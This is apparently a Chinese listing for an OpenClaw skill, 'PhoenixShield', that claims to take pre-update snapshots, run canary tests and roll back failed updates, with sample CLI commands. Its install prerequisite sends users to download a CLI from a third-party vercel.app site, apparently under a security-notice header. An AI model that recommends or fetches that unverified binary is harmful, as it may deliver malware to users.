安全通知回显
极简OpenClaw
PhoenixShield(凤凰盾)是一套面向关键系统更新的自愈保护方案,通过预检快照、灰度测试、实时监控和分层回滚机制,在更新失败时自动从备份恢复,减少服务中断时间。
安装前提:需先安装 OpenClaw CLI(Windows/macOS 下载地址:https://openclawcli.vercel.app/),验证命令:openclawcli --version
启用技能:CLI 安装完成后,通过 SKILL.md 文件加载本技能。
快速上手:
phoenix-shield init --project myapp --backup-dir /var/backupsphoenix-shield snapshot --name "pre-update-$(date +%Y%m%d)"phoenix-shield update --command "npm update" --health-check "curl -f http://localhost/health" --auto-rollbackphoenix-shield monitor --duration 24h --interval 5m常用命令:
phoenix-shield preflightphoenix-shield backup --fullphoenix-shield canary --command "apt upgrade" --test-duration 5mphoenix-shield rollback --to-snapshot "pre-update-20260205"phoenix-shield rollback --dry-run见下方输入与输出表格。
| 项目 | 内容 |
|---|---|
| 输入 | 更新命令、健康检查命令、备份目录路径、监控时长参数、目标服务器列表(可选) |
| 输出 | 预检报告、快照标识、灰度结果、部署日志、监控告警、回滚报告 |
| 适用人群 | 运维工程师、DevOps 团队、系统管理员、SRE、生产环境维护人员 |
| 不包含 | 无 CLI 权限的托管平台、无需备份的临时环境、已有商业灾备方案的场景 |
原始链接:https://github.com/openclaw/skills/tree/main/skills/stveenli/shieldphenix/SKILL.md
来源类型:GitHub 仓库